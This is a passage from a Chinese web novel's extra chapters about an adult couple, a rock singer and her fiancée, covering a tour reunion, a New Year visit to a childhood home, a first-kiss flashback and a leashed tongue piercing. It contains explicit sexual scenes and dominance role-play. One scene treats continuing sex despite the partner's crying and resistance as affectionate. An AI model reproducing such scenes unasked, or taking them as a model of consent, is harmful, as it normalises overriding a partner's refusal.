使得这段时间粉丝数爆涨,仅凭几张舞臺照片都上了热搜,虽然背后还是有工作室的推波助澜,但也要粉丝一并出力,故而,许风扰这段时间风头极盛。 可这样并不会缩短许风扰罚跪的时间,最多只能用她的漂亮脸蛋,蛊惑一下柳听颂,希望用这种方式讨到对方怜悯。 只是可惜,柳听颂是真的被气到了,一点没能缓和。 她刚刚抬起左手,作势要扇,许风扰就立马把脸贴过去,乖乖巧巧地就喊:“姐姐。” 她又抬起右手,许风扰当即转头贴回去,温温顺顺喊道:“妈妈。” 真被柳听颂惯成无赖了。 柳听颂想笑又笑不出来,只垂眼看她,而许风扰就仰头和她对视,拖长语调,如同撒娇般开口:“怎么了?” “不生气好不好?” “我不想我们难得见一面,你却一直在生气。” “姐姐?”她可怜兮兮地哼着,那被领带拴着的手还没有解开,五分裤下的膝盖泛起红。 “我做错了什么,你告诉我好不好?我会改的,妈妈。” “我是乖小狗。” 不管怎样生气,柳听颂还是被她气笑,抬手就她越凑越近的脸蛋推远,便没好气道:“谁教你这样的?” “上次鹿南惹她老婆生气了……”许风扰眼神游离了下,莫名有些心虚,紧接着才道:“我们跑去偷看,就、就学了点,她哄哄就、嫂子就好了。” 话音刚落,她又眼巴巴抬头,说:“你不生气了?” 柳听颂偏过头不想理她,但态度确实软化了些。 许风扰就笑,又用脸去蹭她的大腿。 柳听颂今儿穿的是长裙,因姿势的缘故,裙摆拉扯往上,又在许风扰蹭来蹭去中,愈发被掀开,露出白皙的肌理。 柳听颂没多想,还在气头上,也没那么容易被哄好,但没想到许风扰会在此刻突然吹了口气。 柳听颂腰一软,当即想要拽住那人脑袋,可许风扰比她更快,直接贴了过去。 “妈妈、不要生气了。” “妈妈……” 隔着布料,也能感受到对方说话时的热气,就故意贴着。 柳听颂呼吸一乱,竟这样让许风扰得逞,她咬着下唇,极力隐忍着斥道:“狗东西。” “让开。” “狗东西。” 许风扰被堵住的声音沉闷,不断呢喃:“妈妈、不生气好不好?” “妈妈。” “妈妈,小狗想要被亲。” “亲亲小狗好不好?” 谁能想到,前半个小时还在舞臺之上,桀骜又意气风发的乐队主唱,现在却躲在酒店房间裏头,屈膝跪地做狗。 还是妈妈的乖狗。 布料还是落在地上,长裙被越发掀往上,水声更重,那柳听颂哄着抱着打在舌间的钉子,最后还是落在她身上。 不同以往的感受,被捂得湿漉漉的银球微凉,在某个人的刻意驱使下,往最过分地方勾压,不断掀起层层浪潮。 几个月没吃到肉的饿狗磨人,将自己的战利品,一口又一口的吞咽,还在哼哼地喊妈妈。 白发彻底被抓得凌乱,那些精心搭配的衣衫都作废,好看的眉眼被水浸透,脸颊闷得发红,若放到别处,定会觉得她可怜可欺,但现在…… 柳听颂只觉得她可恶至极。 “妈妈很喜欢这个舌钉吗?好快。” “今天本来像换一个碎钻,只是小狗忘记了,不然妈妈一定会更喜欢,但是这个小球也不错,是妈妈给小狗买的。” “唔、妈妈慢点,小狗喝不下了。” 房间外传来脚步,不知是谁故意拍打了几下,又一群人大笑着离去。 许风扰懒得理会,不用猜也知道,是燃陨几人回来了。 她们的房间都定在一排,有什么事都可以快速找到对方。 而柳听颂赶来这事,众人也是提前知晓的,舞臺休息的间隙,还在打趣这两人黏糊,那么一段时间都分不开。 许风扰那会心情好,也仍由着她们打趣,若不然,她能扯着之前的事情逐一反驳。 例如况野有一晚上突然消失,一问才知道,买了凌晨的飞机票赶回S市,第二天八点又赶回来,让燃陨三人都惊讶不已,连连竖起大拇指。 例如楚轻焰借着出差的机会,停留在她们演出的城市,纪鹿南还偷偷摸摸的,直到三人起床出门,才恰巧瞧见准备离开的楚轻焰。 至于楚澄…… 天天挠头抓耳地问怎么追女孩子呢! 好不容易见面,哪有那么轻易就停下,非得柳听颂第二天腰酸腿软才行。 不过,欺负是欺负,这人还不忘记询问柳听颂生气的原因。 柳听颂起初不肯回答,哪怕连续几次被停下,也紧闭着嘴,一声不吭,直到后面意识涣散,才被许风扰一点哄着开口。 她说:“你这几场巡演都没戴戒指。” 许风扰先是一愣,而后哑然失笑。 虽然还未有正式婚礼,但自从求婚后,两人就一直带着订婚戒指,可舞臺上蹦来蹦去,最容易丢东西,几人一场演出下来,不是找不到耳扣,就是找不到戒指,甚至连胸针这些东西都会不见,许风扰担忧丢失,便一上臺就将订婚戒指收起来,没想到却让柳听颂误会。 小狗终于知道错,低头一遍遍亲吻着柳听颂,反复保证着自己以后一定会戴上。 柳听颂累得不行,却还是咬住她舌钉,扯了几下,表示最后的惩罚。 不过却被许风扰误会,以为她很喜欢舌钉,又压着来了几次…… 气得柳听颂直哭,推又推不开,骂又骂不走,只能自己承受着。 窗外云雾散去,匆匆又是一夜。 第二日,许风扰罕见的发了个微博。 是两人左右手十指紧扣的照片,其中无名指间的戒指醒目,很刻意的摆出。 配文:未婚妻挑的戒指,要记得一直戴着。 那些所谓的不合谣言不攻而破,就连CP粉都觉得她秀得太明显,纷纷跑去V博底下,叫她稍微克制些,燃陨几人就更别说了,群裏、V博都在打趣。 可许风扰一律不理,发完之后就抱着未婚妻陷入沉睡。 ———————— 这两天过年太忙了,又有很多想写的,不想卡你们嘛~ 备注:打孔需谨慎,勿要盲从 第97章 番外五:压睡钱 一晃眼便是除夕,这一年许风扰和柳听颂回了老家。 要结婚了,总要来上柱香、在坟前说几句,逝者不知能不能听见,但生者惦念,总想一切尽善尽美。 虽然之前不曾赶回,但柳听颂一直有请人修缮打扫着,于是免去了不少麻烦。 不过始终是老房子了,发黄的墙面、摇晃的木椅还有长满青苔的老井,这让许风扰感到有些新鲜,从村口就一直提问,到家之后更是说个不停,一改往日缄默沉闷的性格。 柳听颂耐心回答,本以为已经忘记的记忆,竟在这样的一问一答中,慢慢浮现。 “……那个木架是做什么的?” 柳听颂站在青石臺阶上,思索了下才缓缓道:“应该是个秋千” 许风扰瞅着那如足球门框一样的木架,看来看去也没找到秋千在哪裏,只有横梁处的绳索摩擦痕迹,勉强能说是证据。 “许是什么时候绳子断了,他们就把木板和绳子一块丢了吧。” 柳听颂想了想又补充:“镇子能玩的东西不多,连秋千都是稀罕物,好像是巷尾的一户人家有个秋千,镇裏的小孩眼巴巴站在她家门口,必须等她家小孩玩饱玩够,我们才能排着队玩一小下。” 她笑了下,以前十分在意的东西,如今只觉得好笑,如同笑话一般讲出:“就这还得分个亲疏远近,哪个小孩和她家小孩关系最好,哪个就可以插队先玩。” “后面我父亲实在看不下去,便也要给我打个秋千,只是他体弱,干不了重活,最后还是请人来做的。” 许风扰牵着柳听颂的手,偏头就打趣:“那我们听颂姐也能当孩子王了” “让我听听,哪个小孩能得到我们听颂姐的宠幸,获得优先玩秋千权。” 柳听颂瞥了她一眼,只道:“没有优先权,只有五毛钱玩一个小时的特权。” 许风扰听得一愣,满脸不可思议,完全看不出来柳听颂会做出这样的事。 柳听颂倒是不在意,接着就道:“后面就被我父亲发现了,不准我再继续了。” “哎” 柳听颂摇了摇头就笑:“他们怕我这样就没朋友了。” 从小没怎么缺过钱的许风扰不懂,还没有继续问就被柳听颂吻住,嫌她问来问去太多话,索性堵住。 屋外有人走过,脚踩青砖,传来窸窣碎语,像是一大家子,小的那个不过三、四岁,最是叽叽喳喳的好奇年纪,和许风扰一般一直问。 “外婆,这就是你原来的家吗?” “外婆,你说的大秋千还在吗?囡囡想玩。” 稚嫩童声后,又有妇人无奈斥道:“囡囡你快下来,多大了还要外婆一直抱着,外婆会手酸的。” “我不要我不要,我就喜欢外婆。” 老人笑得慈祥,一边说话一边将怀裏女孩抱得更紧:“不碍事不碍事,我们囡囡轻得很。” 说话声将许风扰注意力吸引,下意识偏头想看,却被柳听颂扣住下颌。 “唔……” 她两本就一上一下,柳听颂站于臺阶之上,许风扰稍矮一截,身高的优势再无,反倒要仰头看向柳听颂,而后又被柳听颂单手掐住脸,便一扬再扬,连手都搭到柳听颂腰间,完全处于下位者的位置。 而那人则低头。 吻更深,完全将注意力剥夺。 屋外人还在靠近,如今仅隔着一扇虚掩的木门,留了巴掌大的缝隙,随时都能推开。 “外婆外婆,到了!我们快进去!” “囡囡要坐秋千,外婆!” “哎,妈你慢点,别那小家伙的。” 面容苍老的人踏上一步臺阶,恰好能从缝隙中窥见一抹倩影,脚步骤然停顿,人已僵住。 孩童还不懂,嚷嚷着快走。 此刻已是黄昏,暮色散落,树影也被拖长,落在木架间,风一吹就晃起,如同曾经的秋千摇动,一扇木板隔绝两处人,早已不同秋。 “外婆” 扣在下颌的手垂落,柳听颂牵住许风扰手腕,只道:“有点冷了,回屋吧。” 许风扰刚点头,便被牵着往裏。 屋外也传出苍老声音:“哎,瞧外婆这记性,走错到别人家了,幸好没闯进去。” 那孩童就笑,拍着手道:“外婆笨笨。” 周围人都笑起,打趣时,踩在臺阶的脚都撤回,又跟着老妇人往别处去。 而那老妇人也笑,像是无意回头,匆匆往门缝中看一眼,不露痕迹地收回。 门板被风吹得更敞开,露出裏头两人并肩而行的背影。 年纪小的那位黏腻,刚刚还是被柳听颂拽着走,没走几步就大步赶上,如树袋熊抱树般,贴到柳听颂身上,哼哼就道:“怎么就亲那么一下?” “柳听颂你嫌我了?” 年长那位不答,下一秒就被那位压在门后,又啃了几口。 镇中确实无趣,哪怕是过年也不见几个年轻面孔,老人都被接到别处过年,所以冷冷清清的,很是寂寥。 许风扰与柳听颂把春晚当背景音,吃完饭又放了会烟花,不等零点就缩进被窝裏。 没搬到别处,还是柳听颂幼时的小屋,墙面上还有柳听颂的涂画、记录身高的横线,还没到许风扰腰的小小书桌,连书柜都是矮矮的。 许风扰起初瞧见,摸来摸去了好久,看看柳听颂又看看这些,好像在想象柳听颂幼时端坐在这裏的模样,莫名就笑了好久。 如今灯已被关上,房间被漆黑淹没,那些涂画、书桌都变作小小怪兽,潜伏在周围,只等月光从那半敞的窗户流淌而入。 木床随着翻身发出咿呀响声,虽然请人打制时,那匠人承诺这床能睡几十年,可也要有人时常维护,而不是丢在这儿生灰,所以结构松散,一动就响。 许风扰扯着被子,将两个人都紧紧裹住。 还未有困意,也不大想睡,怕等会零点冒起烟花,惊扰睡眠,索性有一搭没一搭地聊着天。 都是些小时候的事,柳听颂完全被扒光,最后连两岁蹲在水边看蝌蚪,却因为太入神,摔进水塘裏的事情都讲了一遍。 许风扰就笑,央着她再说一点、再多说一点。 贴在一块的长腿纠缠,你挤进我腿间,我压住你大腿,温凉趾尖触碰足背,压平鼓起的小小青筋,许风扰微微抬起,将对方足心完全贴在自己这儿,捂得热乎乎的。 柳听颂想不出来,洩愤般地仰头,咬住许风扰下颌,恼怒道:“没了没了。” 许风扰低头亲她额头,又慢慢往下轻啄。 柳听颂仰头回应就被抱得更紧,吻越来越碎,从额头、鼻梁到耳垂,气息都散乱。 没有什么好停下,表达亲昵的方式许多,但两人都更喜欢这种,总要将对方揉紧骨血中,才配表达自己的喜欢。 枕角被拽住,从侧抱在一块又变成一人压着一人,柳听颂仰了仰头,露出纤长脖颈,借着水光,还能瞧出一个个牙印,是另外一人留下的新年快乐。 许风扰的动作不快,刻意拖延,长腿一曲就抵住,饶有兴致地慢慢磨,同时又道:“我看见那边有打年糕的,我们明天蒸点糯米敲敲” “你行吗?”柳听颂语气微喘,咬字却慵懒。 “怎么就不行了?”许风扰不服气,膝盖故意抵住,隐隐带着威胁的语气,又补充道:“我行不行,你不是最清楚?” “不清楚,”柳听颂不想搭她话。 许风扰被气笑,炸着毛就喊:“马上就让你知道。” “不知道、”话还没有说完就被突然一顶,直接打断,便作颤着声的喘。 许风扰气恼了,想尽办法要她记忆深刻些,腿脚一杵就将她合拢的腿撑开。 两人都没穿什么,就披了件宽松上衣,其余不用,反正再多都会被许风扰扒下,索性不穿,如今也是方便了某个人,掌心贴在湿漉漉的地方,指尖已掩埋其中。 许风扰想要证明自个时,就会冒出一堆废话。 “姐姐,帮帮我捂捂手。” “我不懂,姐姐说我不行的,我不会动,你教教我嘛,好不好?” “你夹得那么紧,我怎么动?” 柳听颂不理她,许风扰就更过分,指尖胡乱打着圈,就是不肯往那处去,还装着无辜,一遍遍问:“是这裏吗?我可不知道,我一个不行的人哪裏知道这些。” “姐姐教教我,到底是哪裏?我找不到,我不行的。” 恶劣得过分。 虽是寒冷时节,柳听颂依旧冒出一身薄汗,无意拉扯下的被褥,露出线条姣好的肩颈,窗外光亮散落,在肩颈与锁骨形成的三角凹陷处积出一汪月光,随着颤动泼洒。 “坏东西,”那人小声斥骂,最后还是如了许风扰的愿,拽住对方手腕,压着往裏,一点点压在她最敏感、脆弱的地方。 “狗东西。” 那人就伏在她脖颈间闷笑,藏不住一点。 不知过了多久,反正这事最消磨时间,一遍不够两遍三遍,窗外终于有烟花炸起,不多,也就稀薄几片,比起两人看过的烟花秀,实在少得很,但或许也是因为太少,所以才觉得稀罕,将漆黑天空都点亮。 在烟花声中,柳听颂猛的一颤,细腰突然绷紧抬高,如斜桥般抖了片刻才又重重摔下。 而许风扰则又贴过来,附在她耳边,轻声道:“新年快乐,柳听颂。” 她想了下,或许是觉得还不解气,又补充了句,十分恶劣地戏谑语气:“这次行了吗,从去年做到今年了。” 柳听颂缓了会才回神,掀开眼帘后白了她一眼,继而手往枕头裏探,拽出一个早就准备好的红包,往许风扰身上一丢,便哑声道:“还行吧。” 那做派,像是许风扰把她伺候满意了,丢了个赏钱。 许风扰也不嫌弃,如获至宝地喊了声:“谢姐姐赏。” 柳听颂却不说话,翻身将人压住,跨坐于她身上。 “赏什么” “压睡钱,懂吗?” “狗东西。” 许风扰用嘴叼着那红包,笑着抬了抬腰,暗示的意味明显。 既然是压睡钱,当然要让人满意又尽兴。 这事,许风扰最懂了。 屋外的烟花散去,可屋裏还在继续,断断续续一直不见停歇。 ———————— 小狗摇尾巴[比心] 第98章 番外六:关于初吻这件事 “您可以回答一下,您和许风扰是什么时候认识、什么时候在一起的吗?” 尖锐的女声从嘈杂问话中挤出,在不停歇的闪光灯与不断挤到面前话筒裏,柳听颂少见的恍惚了下,回忆起从前。 准确来说,许风扰对柳听颂是一见钟情,那汹涌的陌生情绪,年少者不懂,无意识压抑躲藏,却逃不过已见惯的年长者,即便暂时不去多想,稍过些时日,也能反应过来。 而对于自己,反倒懵懂。 她在许南烛那儿听了许多关于许风扰的事,叛逆、不乖巧的形象早已树立在心中,可第一次见到对方时,柳听颂只惊嘆于许风扰容貌的精致。 明明应该是极狼狈。 她和另一个人可怜兮兮蹲在角落裏,短袖被拉扯得发皱,发丝也凌乱,可仰头看向柳听颂时,那一双被睡意朦胧的碧色眼眸如澄澈宝石,竟让好不容易下定决心的柳听颂动摇一瞬,莫名心颤,觉得自己是在路边捡起一只漂亮的猫。 鬼使神差的,她将早已想好的解释遗忘,只说了句:“起来吧,我带你回家。” 回家…… 这对于柳听颂来说,早已是个很陌生的词彙,可在之后的很长时间内,它都与许风扰并作一块,化作真实的存在。 她很早就看出了许风扰的生涩试探、明了许风扰的懵懂挣扎、放任她的一步步试探,甚至有意纵容。 在闷热蝉鸣的夏日中,窗帘遮挡午后的灿烂日光,留下一室昏暗,对面的歌剧只播放到一半,两人的距离只剩下几厘米。 柳听颂垂眼看她,往日清明锐利的眼眸,如今情绪晦涩,没有拒绝也没有主动。 许风扰偏头靠近,明明是身高腿长的那位,却故意放低身子,以下位者的姿态靠近。 周围静谧,略微急促的呼吸交替,浓且卷的睫毛颤动,眼眸对视又躲闪,在询问又胆怯。 在意外的突然贴近后,那层薄如蝉翼的纸还是被戳破,四处露风。 心跳如雷,连指尖都在发颤,却要故作镇定,以至于将唇抿了又抿,压出浓艳的色彩,几乎呢喃般开口:“……姐姐。” 声音好轻,轻得好像风一吹就散开,要是在此之前,柳听颂一定是听不见的,可是此刻,她甚至能听出许风扰尾音中的颤。 四肢百骸变成最老旧的机器,满是锈迹的齿轮生硬转动,以肉眼都不可见的速度靠近。 两厘米、一厘米、毫米…… 微凉的唇携着水果的香气贴了上来,比扇动眼帘划过脸颊的力度还要轻。 杵在沙发的手压出凹坑,被小心靠近的人牵住食指,战栗感受从指尖蔓延开。 柳听颂这才后知后觉地反应过来,许风扰在亲她。 比起之后的每一个吻,甚至是在婚礼上、在众人欢呼中的接吻,都没有这个吻来得紧张笨拙。 发丝下的耳垂都红透,碧色眼眸不曾合上,满是探寻地怯怯望来。 她在等柳听颂什么时候将她推开,可柳听颂没有推开她。 不知天底下为什么会又那么笨的人,连亲嘴都要紧抿着唇,好像生怕柳听颂被亲到一样。 “姐姐……”那人吶吶着,可怜又稚嫩,像是只不断摇着短尾巴的肥土狗。 柳听颂垂着眼,发丝散落,耳畔多了几缕细碎的银丝,在白净脸颊上映出浅浅灰影,如同白瓷上细微不可见的裂痕。 “我、我不会……”她声音羞窘,如少年人莽撞又懵懂,明明已贴上,却不知该如何做,又贪婪不肯松开,得寸进尺地渴求。 “笨,”那人斥了声,暗哑的声音还未分辨出情绪,就先被微凉的指尖吸引,她的手勾在许风扰脖颈,压骨节缝隙处,不消用力就能将许风扰完全掌控,被迫往她那边靠近。 抿紧的唇松开,完全被另一人吻住。 揪住食指的手猛的一抓,那凹坑越发下陷,褶皱更多。 有些复杂的水果香味一点点散开,在唇瓣夹///抿、分离又触碰间。 桌面还有剩下一半的果盘,冰块化了一半,在盘底积出浅浅一摊凉水,不知何时掉落的西瓜籽在飘浮,撞向旁边的葡萄、梨子,还有一两个青梅子。 许风扰往日不喜吃酸,最嫌弃梅 子这样的水果,可今天不知怎么的,偏偏吃下好多,以至于舌尖都是微微酸涩的。 “呼吸,”柳听颂用气音提醒,薄唇覆着一层莹莹水光,平添一分艳色。 可另一人却不懂,学习音律倒是快,可此刻连换气都不懂,被提醒后也不知改,完全就是凭着肺活量憋着,像第一次吃到肉的狼崽子,不知节制,一味埋头吃到撑。 只好由年长那位掌控,揪住脖子就往后提,将距离拉远。 才分开一点,就有大口大口的呼吸声响起。 不知憋成了什么样,从脸颊、耳垂到脖颈都红透,眼尾还有长时间缺氧导致的水雾,可怜又可笑。 柳听颂呼吸起伏,哪怕也是第一次接吻,也比另一位好的多。 屏幕上的歌剧还在继续,还没有结束,那食髓知味的家伙就先扑上来,初尝滋味,哪裏舍得停顿好久,没了之前的犹豫,压着人、用柳听颂之前的技巧,尽数返还。 还是不大会呼吸,但是憋气的本事以飞快速度上涨,一次比一次更能憋。 连柳听颂都被逗笑,只是还没有来得及多笑片刻,又被堵住。 呼吸是学不会的,可技巧是越来越精进的,叫柳听颂越发无法招架,勾在脖颈的手也慢慢松开、滑落。 “柳小姐” 回忆被拉扯,消散于现实中,舌尖好像又泛起青梅的味道,很难不记得,毕竟之后再没有一次,就面对面规规矩矩坐着,一直亲了两小时,最后许风扰走路都是飘的,总觉得踩不到实处。 “柳小姐”那人还在追问。 柳听颂却没有回答,视线落在远处,赶来接人的许风扰站在不远处,斜靠着越野车,对她扬了扬手,笑得张扬又肆意。 就仗着如今记者的注意力全在柳听颂身上,所以大大咧咧往那边站,等会被发现,不知道她又要怎么想办法逃脱。 柳听颂眉眼舒展,无奈却带笑。 那人也笑,掏出墨镜一戴,大步就往人群裏头挤。 那群人的注意全在柳听颂身上,只觉得是同行不地道,疯狂往裏挤,咒骂几句后,连眼神都没挪一点,竟让许风扰就这样挤进去,紧接着就拽住柳听颂手腕。 “哎” “这是做什么” “你干嘛?!” 终于有人察觉不对,可许风扰动作不停,硬生生从人堆中挤出一条路,牵着柳听颂就往外走。 “你……”旁边的人想说什么,却被许风扰偏头一瞪,若她是好脾气的软包子,也不至于在圈裏有那么臭的名声,和狗仔飙车的那事早已传开,让大家都有点惧她,一时没敢做出什么,甚至还吓得退后一步。 而许风扰刚开始镇定,带着柳听颂先是稳步往前,而后慢慢加快,在逃离人群后,突然大步跑起来。 风掀起衣角,牵着的手十指紧扣,发尾也随之扬起,像是一场临时起意的私奔。 ——咔嚓、咔嚓 闪光灯迟了半拍,终于有人反应过来,大喊一声:“追啊!” 好不容易才拦到的人,怎么就被人带跑了呢! 一群人扯着话筒、扛着摄像机,又慌又急,表情却狂喜,话题的主角都出现,可比只缠着一个人追问好。 ——嘭! 车门被用力关上,许风扰一脚踩向油门,只听见发动机轰鸣,便一下子冲出去。 只留下一堆狼狈的家伙留在原地,面面相觑。 私奔的家伙还是逃脱,没有电影裏的茫然留白,生出未来的彷徨,只有笑着的坦白,是对剧情最后的解析。 “我其实没那么不会……我又不是笨蛋,意识到喜欢你以后,我就翻了好多资料。” “什么追人攻略、怎么接吻……” 车窗被打开,清凉的风随之灌入,扬起许风扰的发丝,吹干她额间的汗,碧色眼眸澄澈又干净。 “就是那时候太紧张了嘛,我完全不知道该做什么。” “不过那个教程也很没有用啊,说什么在嘴裏画aboc,我都没撬开,怎么画abcd。” “呼吸、”许风扰眨了眨眼,十分坦诚:“呼吸还是会换的,但是我怕你后面就不愿意教我了,我就没敢、没敢学。” “我就想着能亲一会是一会……” 柳听颂偏头看着她,笑意盈盈的眼眸中倒映着对方面容,说:“我知道。” “嗯”许风扰懵了下,趁着红灯停下,十分诧异地看向对方。 “你知道?” “所以我不建议你去演戏,”柳听颂打趣。 “你的演技超烂的,笨蛋,”拖长的语调带笑,完全没了之前面对记者时的距离感。 许风扰翻了个白眼,没好气道:“你演技好,就骗着我一直在那边胆战心惊地亲来亲去。” 那人反问:“难道你不喜欢?” 许风扰被完全拿捏住,想生气又气不出来,最后只能无奈冒出一句:“喜欢,喜欢死了。” “初吻就亲了三小时,特别记忆深刻,特别值得纪念。” 柳听颂笑得不行,说:“我嘴都肿了。” 许风扰不甘示弱:“我舌头酸疼了两天。” 柳听颂:“那你还亲?” 许风扰挑了挑眉:“你不也亲?” 对视的眼眸弯弯,两人同时笑起。 柳听颂余光一瞥,提醒道:“还有十秒。” 许风扰没有回答,没有耽搁一秒,扯着安全带就附身贴来,双手捧起对方脸颊,低头吻上对方的薄唇。 柳听颂仰头贴近,仍由她亲吻。 九秒、八秒之后还有好多好多时间。 ———————— 今天的小狗与姐姐走纯爱路线 第99章 番外七:带绳的舌钉? 关于舌钉。 许风扰一开始并未主动在外头展示,她和况野完全是反着来的。 许风扰看似张扬,性格却内敛,就算打了也下意识遮掩的,不大想被人发现。 而况野看似最沉闷,可一看身上那一堆丁零当啷的挂饰,就知道她这人不简单,刚打的那一会,每一天都是不同样式的舌钉,就算面前有架子鼓遮挡,也扛不住她想秀的心,想尽办法要旁人全部都瞧见。 三人笑她,她还理直气壮反驳:“我就是要故意给别人看见,怎么了!打了没有人瞧,我不就是白打了吗?” 乐得燃陨三人直笑。 而许风扰有另外的人瞧,不稀罕更多人的夸赞,每次上臺前都会换成比较不明显的银钉。 可即便如此,还是逃不过粉丝的火眼金睛。 那群家伙平常都是用放大镜看图,稍有点变化都会被揪出,更何况许风扰既是贝斯手又是主唱,每次都站在前排,显眼的很。 而且她的粉丝还多,每次一开演唱会,超话裏视频与图片刷屏似的冒出,叫许风扰藏无可藏,前一天刚上臺唱了两句,下一秒就被人拍照发在V博询问。 起初她们还不敢问到许风扰面前,只在私底下喊着好帅,可后面不知是谁在臺下喊了一嗓子,这群人就一下子变得大胆。 那时正是演出的间隙,为了恢复体力,众人就会暂时停下,和臺下观众聊聊天、撒个水活跃气氛。 而当时的许风扰正累得宕机,听到问话,下意识就点了点头,紧接着就被粉丝默认为她允许谈论这个话题,你一言我一语,像是要夸出花来,愣是把听惯这些的许风扰哄得昏头转向,还是伸了下舌头,给她们瞧了一眼。 之后演出也是如此,既然前一场展示了,后一场也得要,许风扰说不过她们,加之燃陨三人的起哄,许风扰只能一次次让步。 被哄来哄去,许风扰也无所谓了,完全当做普通装饰,一场就换一个舌钉,不再遮掩半点,甚至有时还会配合演唱,故意耍帅。 于是乎,超话裏多了不少这方面的图,尤其是一个蛇眼竖瞳的绿色舌钉,被不少人保存转发,哪怕是不认识许风扰的人都觉得不错,小小出圈了一波。 而天天刷许风扰超话、不发言不发帖仅凭签到都十一级的柳听颂,自然也看过这些图。 只是许风扰巡演期间,她不曾提及,只等许风扰结束,收拾收拾回家后,躺在床上时,才发觉被放在旁边一边的首饰盒。 是完全不同于柳听颂的风格,让许风扰没多少顾虑就掀开,觉得是柳听颂送她的礼物。 事实也是如此,毕竟柳听颂也不需要舌钉,只是…… 这个特别的设计,还是让许风扰愣了下。 倒没有特别夸张,只是在普通银球的基础上多了个圆环,但旁边还有条细银链,可以扣在圆环上,作为牵引绳。 恰好此时,柳听颂刚从浴室走出,带出闷热雾气,潮湿的发丝披散,水珠顺着肩颈曲线滑落,染湿绸缎睡裙,越发贴紧肌理,勾勒出一抹白皙圆弧。 手裏头的东西被暂时遗忘,许风扰喉管动了下,视线落在柳听颂身上。 巡演期间,两人见面的次数屈指可数,加上柳听颂生气那次,拢共也不过七八回,这可把粘人的家伙憋坏了。 幸好燃陨几人都是这没出息的类型,明明可以第二天一早再赶回,却定了凌晨的机票,急吼吼就冲回来,落地机场后,来不及说再见,便被各自被家裏那位接走。 车刚停到地下停车场,许风扰就一下子抱住柳听颂,和三斤瞧见顶级猫薄荷的模样一样,愣是用脸把柳听颂侧脖颈都蹭红,哼哼唧唧地说了半天我好想你。 最后还像个树袋熊似的,抱着柳听颂一步一步往家裏挪,完全分不开一点。 此刻也是,柳听颂从浴室出来后,许风扰的视线就一刻没离开过,跟着这人走到梳妆臺前,看着她坐下,拿起吹风机。 许风扰之前就想帮忙,只是柳听颂嫌她,这人护发、护肤都有自己的一套流程,许风扰帮忙,反而会变成添乱,所以她只得乖乖坐在原处,眼巴巴瞧着柳听颂。 柳听颂察觉到了,却没说话,自顾自吹起发丝。 卧室裏的灯光柔和,如薄纱洒落于女人身上,薄肩细腰,若隐若现的蝴蝶随着动作起落,浅灰绸缎折出几缕褶皱,如同水波漾起。 许风扰抿了抿唇,发现柳听颂又因忙碌瘦了不少,明明每次都在电话中叮嘱,还让梨子帮忙盯着。 可还是没多大用处,柳听颂一操劳起来,完全无法分神照顾自己,还嫌梨子唠叨。 思绪落到此处,许风扰又无奈,平常两人在家时,为了哄对方多吃些,都会你吃一口我就吃一口的交换,甚至会因吃太饱,互相搀扶着在客厅裏转圈圈消食,好不容易都长了些肉,如今又因巡演和新专辑全耗光了。 那边传出瓶瓶罐罐的响声,片刻之后,柳听颂就起身往这边走来。 许风扰下意识伸出双臂,那人便跨坐在她腿上,落入她怀中。 “喜欢吗?” 丢在旁边的首饰盒又被提起,许风扰随着柳听颂的视线一瞧,吶吶就道:“挺好看的,就是……” 她结巴了下,才道:“怎么想到买这种了?” 柳听颂平常爱买些小玩意送她,可都不算特别出格,更别说这种带着牵引绳的东西。 “碰巧看见。” 柳听颂没有解释太多,便道:“试一试?” 虽是问话,语气却带着不容置疑的意味。 许风扰还没有开口,就见柳听颂先取来,简单消毒后就要为她戴上。 许风扰不曾反抗,没有意识到其他,手还环在柳听颂腰间,顺从地仰头、伸舌。 “乖狗,”柳听颂意味不明地笑了下,拍了拍怀裏人的脸当做奖励。 垂落眼帘在眼睑映出淡淡灰影,那闷热潮湿的水雾还未散尽,泛起若有若无的香气,颓靡而馥郁,幽幽将许风扰淹没。 许风扰莫名有些犯困,明明之前还没有一丝困意,望着飞机窗外的星空愣愣出神,如今却生出倦意,像掉入一汪温水中,控制不住地往下坠。 银钉在舌间摆弄,直到调整到最合适的位置。 柳听颂捧起她的脸,认真打量了下,温声夸了句:“好看。” 许风扰无法回应,只能眨了眨眼表示听见。 银链还在旁边,许是什么时候摇晃到,链子缠成一堆,柳听颂只好先放开许风扰,一边将它解开,一边问道:“以后还想打吗?” “不打了,养来养去麻烦,”许风扰摇了摇头。 即便早已跨出那个坎,但对这些还是不大感兴趣,耳洞都没打,依旧用之前买的耳扣。 “要、不是……”她突然磕巴了下,有点不适应新的舌钉,下一秒又含糊道:“这个舌钉养得费劲,我寻思着麻烦都麻烦了,索性多留一段时间。” 柳听颂点了点头,不知听没听进去,银链在白皙指尖缠绕,一点点被扯开。 另一人的视线不免落下,还没有来得及询问,又被问话吸引。 “之后应该没什么事了吧?” “嗯,大家都累了,忙完巡演之后打算休息一两个月,有什么安排等过完年再说。” 许风扰回答后,又反问:“你呢?” “可能还需要忙一段时间,过年应该就没事了。” “哦……”那人闷闷接了声,刚想继续表达不满,便听到一声命令。 “张嘴。” 身体比脑子更快,不需要指挥就将舌尖探出,只听见一声清脆的扣声,银链被轻轻一拽。 “唔、”许风扰顿时发出含糊一声,无助地抬眼看向柳听颂。 一下子变得好狼狈,刚刚还能撒娇耍无赖的家伙,现在被银链拽着舌头,被迫伸出,水迹沾染处,拉出晶莹丝线,凌乱白发下的碧色眼眸无助又茫然。 “姐、姐……”她试图含糊央求。 还穿着柳听颂给她买的小熊睡衣,领口在拉扯中,露出一截纤细锁骨,小麦肤色依旧,明明是应该占据主动权的那一位,如今却完全处于下风。 另一人眼眸更暗,银链在指间转了两圈,将距离限定在极苛刻的范围,随之夸奖道:“很合适。” “唔、” 碧色眼眸染上一层水雾,越发澄澈,也更显懵懂,难得迷茫,不清楚柳听颂在做什么。 她应该、好像没做错什么吧 怎么又生气了 许风扰不解又困惑,试图提问,却依旧只能发出模糊的字句:“姐、姐。” 莫名可怜。 可这却没得到柳听颂的怜悯,反倒又一扯,声音多了几分严厉:“叫我什么?” “嗯” “小狗你忘记了吗?” 当然没有,甚至在柳听颂第一句话落下时,许风扰脑海中就冒出熟悉称谓,脱口就喊道:“妈、妈妈。” 正确答案换来柳听颂勾了勾唇角,但惩罚却没有停止,链子依旧被紧紧拽着,在半空绷成一条直直的线。 “狗东西,”她斥骂道,精致眉眼冷厉,完全没了之前的温和。 果真是被气到了,不知憋在心裏多久,如今才有机会惩罚。 “到处沾花惹草的狗东西,”她又斥。 